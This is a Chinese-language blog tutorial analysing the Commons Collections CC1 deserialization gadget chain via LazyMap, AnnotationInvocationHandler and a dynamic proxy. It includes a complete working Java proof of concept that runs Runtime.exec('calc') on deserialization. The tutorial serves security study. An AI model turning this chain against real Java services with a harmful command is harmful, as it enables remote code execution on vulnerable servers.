[java安全]CommonsCollections1(LazyMap)

文章目录

【java安全】CommonsCollections1(LazyMap)

前言

前面我们学习了cc1链使用TransformedMap构造,但是ysoserial使用的是LazyMap进行构造的,相对复杂一点

我们先复习一下:

LazyMapTransformedMap都是在CommonsCollections模块中,我们想要测试首先需要创建maven项目,然后导入坐标

xml 复制代码
<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
</dependency>

我们使用TransformedMap是通过触发checkSetValue()方法来触发ChainedTransformer类的transform()方法最终RCE

那么LazyMap是如何触发transform()方法呢?

LazyMap

我们查看LazyMap源码:

java 复制代码
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

发现get()方法可以执行factory变量的transform()方法,而factory刚好是Transformer类型

所以只要创建一个LazyMap对象,factory传入ChainedTransformer对象,只要调用了LazyMap对象的get()方法,就可以RCE了

如何创建LazyMap对象?

我们可以使用decorate()方法:

java 复制代码
public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

参数:

  • map参数可以传入一个空的HashMap对象
  • factory 可以传入一个ChainedTransformer对象

如何调用LazyMapget()方法?

我们之前触发 TransformedMap,是通过sun.reflect.annotation.AnnotationInvocationHandler执行setValue()触发TransformedMapcheckSetValue()函数执行transform()方法

java 复制代码
protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

那我们怎么触发TransformedMap#get()方法呢?

我们再看看sun.reflect.annotation.AnnotationInvocationHandler源码:

java 复制代码
public Object invoke(Object var1, Method var2, Object[] var3) {
        ...
            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                ...
    }

这里我们注意到invoke()调用了this.memberValues变量的get()方法,而memberValues变量

java 复制代码
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1; // var1是Annotation的子类
        this.memberValues = var2;
    }

是构造AnnotationInvocationHandler传入的第二个参数,如果我们将var2传入LazyMap对象,那么只要AnnotationInvocationHandler触发了invoke()方法,就可以调用LazyMapget()方法

如何触发AnnotationInvocationHandler#invoke()方法?

可以使用java的动态代理机制,

我们创建一个AnnotationInvocationHandler对象,第二个参数传入LazyMap对象,对Map创建一个代理:

java 复制代码
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);

然后只要随便使用proxyMap动态代理对象调用方法,就会触发 hander变量,即AnnotationInvocationHandler对象的invoke()方法,从而调用LazyMapget()

问题又来了,怎么才能随便调用proxyMap动态代理对象的方法,并且使用readObject()反序列化的方式呢?

我们可以再次将proxyMap封装到AnnotationInvocationHandler中,因为它的readObject()方法存在函数调用:

java 复制代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
		...
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

}

这里的this.memberValues就是proxyMap,他会调用entrySet()从而触发invoke()

POC

测试环境

  • 3.1-3.2.1 jdk版本小于u71
java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

运行代码:

总结

讲到这里,整个一条链子算是清晰了起来:

java 复制代码
->AnnotationInvocationHandler.readObject()
      ->proxyMap.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->............

参考

CC链 1-7 分析

Java安全漫谈 - 11.反序列化篇(5)

相关推荐
几何心凉2 分钟前
从全密态到AI运维:openGauss构建企业级数据安全与效率的双重屏障
开发语言·数据库
思茂信息1 小时前
CST软件对Customer Success OPPO手机电源适配器EMC仿真
开发语言·嵌入式硬件·matlab·3d·智能手机·cst
缺点内向2 小时前
如何在 C# 中将 Excel 工作表拆分为多个窗格
开发语言·c#·.net·excel
少废话h3 小时前
解决Flink中ApacheCommonsCLI版本冲突
开发语言·python·pycharm
天命码喽c3 小时前
GraphRAG-2.7.0整合Milvus-2.5.1
开发语言·python·milvus·graphrag
后端小张3 小时前
【JAVA进阶】Spring Boot 核心知识点之自动配置:原理与实战
java·开发语言·spring boot·后端·spring·spring cloud·自动配置
tg-zm8899968 小时前
2025返利商城源码/挂机自动收益可二开多语言/自定义返利比例/三级分销理财商城
java·mysql·php·laravel·1024程序员节
X***C8628 小时前
SpringBoot:几种常用的接口日期格式化方法
java·spring boot·后端
Mr_Xuhhh8 小时前
YAML相关
开发语言·python
j***29488 小时前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php